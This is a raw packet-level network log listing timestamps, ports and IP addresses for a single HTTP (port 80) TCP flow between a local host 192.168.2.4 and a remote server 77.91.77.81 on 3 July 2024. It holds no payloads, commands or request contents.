Jul 3, 2024 23:59:14.784284115 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.784297943 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.784307957 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.784317017 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.784323931 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.784333944 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.784359932 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.784411907 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.784425974 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.784475088 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.784487963 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.784511089 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.784523010 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.784533024 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.784545898 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.784562111 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.784583092 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.804831028 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.804868937 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.804881096 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.804910898 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.804920912 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.804932117 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.804944038 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.804986954 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.805047989 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.805059910 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.805068970 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.805078983 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.805083036 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.805090904 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.805109024 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.805131912 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.805202961 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.805238008 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.805267096 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.805279016 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.805303097 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.805305004 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.807930946 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.836488008 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.836514950 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.836527109 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.836569071 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.836575031 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.836582899 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.836595058 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.836606979 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.836631060 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.836647034 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.836651087 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.836838007 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.836849928 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.836859941 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.836883068 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.836894035 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.836942911 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.836956024 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.836961985 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.836992979 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837050915 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837069035 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837080002 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837088108 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837105989 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837126970 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837198019 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837209940 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837219954 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837230921 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837243080 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837248087 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837260008 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837289095 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837343931 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837354898 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837383986 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837395906 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837405920 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837409973 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837434053 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837444067 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837492943 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837505102 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837515116 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837531090 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837543964 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837557077 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837632895 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837645054 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837655067 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837665081 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837672949 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837676048 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837701082 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837718010 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837857962 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837868929 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837878942 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837889910 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837899923 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.837907076 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.837934017 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.838009119 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.838026047 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.838041067 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.838052034 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.838052988 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.838078976 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.838095903 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.838118076 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.838130951 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.838140965 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.838150978 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.838164091 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.838193893 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.838299990 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.838310957 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.838320971 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.838332891 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.838346004 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.838370085 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.838430882 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.838443041 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.838454008 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.838463068 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.838479996 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.838498116 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.839776993 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.839828014 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.839837074 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.839869022 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.839879036 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.839904070 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.839916945 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.839926004 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.839937925 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.839951992 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.839976072 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.840008020 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840044975 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840050936 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.840147018 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840157986 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840167999 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840181112 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840190887 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.840205908 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.840221882 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.840257883 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840270042 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840279102 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840303898 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.840328932 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.840393066 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840470076 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840486050 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840511084 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.840529919 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.840549946 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840562105 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840573072 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840599060 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.840621948 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.840631962 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840645075 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840677023 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.840778112 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840787888 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840797901 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840807915 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840817928 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840825081 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.840830088 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.840841055 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.840856075 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.840879917 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.841033936 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.841046095 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.841056108 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.841065884 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.841073036 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.841083050 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.841094017 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.841094971 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.841108084 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.841119051 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.841133118 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.841156960 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.841212034 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.843914986 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.873929024 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.873950005 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.873959064 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.874007940 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.874018908 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.874066114 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.874082088 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.874094963 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.874135017 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.874162912 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.874175072 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.874186993 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.874212980 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.874229908 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.874258995 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.874273062 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.874288082 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.874299049 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.874311924 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.874336004 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.874360085 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.874423981 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.874435902 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.874470949 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.894932985 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.895124912 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.895134926 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.895145893 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.895154953 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.895165920 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.895169020 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.895176888 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.895210028 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.895225048 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.895236969 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.895247936 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.895256996 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.895267963 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.895287991 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.895312071 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.895375013 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.895385027 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.895416021 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.895425081 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.895464897 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.926429033 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.926439047 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.926449060 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.926502943 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.926541090 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.926582098 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.926594019 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.926604986 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.926615000 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.926629066 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.926630020 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.926659107 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.926670074 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.927156925 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927198887 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927205086 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.927212000 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927238941 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.927251101 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.927319050 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927330971 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927340031 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927356958 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927356958 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.927369118 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927390099 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.927407026 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.927467108 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927485943 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927506924 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.927524090 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.927542925 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927555084 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927563906 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927582026 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.927607059 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.927711010 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927721977 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927731037 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927742004 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927751064 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927757025 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.927762032 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927781105 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.927805901 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.927901030 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927911997 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927922010 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.927948952 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.927963018 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.928029060 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.928040028 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.928049088 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.928067923 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.928087950 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.928154945 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.928167105 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.928178072 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.928186893 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.928196907 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.928210974 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.928225040 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.928252935 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.929073095 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929116964 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929167032 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929167986 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.929208994 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.929241896 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929253101 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929263115 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929295063 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.929323912 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.929389954 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929402113 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929411888 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929421902 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929431915 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929445982 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.929462910 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.929480076 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.929519892 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929569960 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.929600954 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929611921 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929634094 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929642916 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929652929 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.929678917 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.929729939 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929775953 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929780960 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.929788113 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929824114 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.929853916 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929864883 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.929903984 CEST	49732	80	192.168.2.4	77.91.77.81
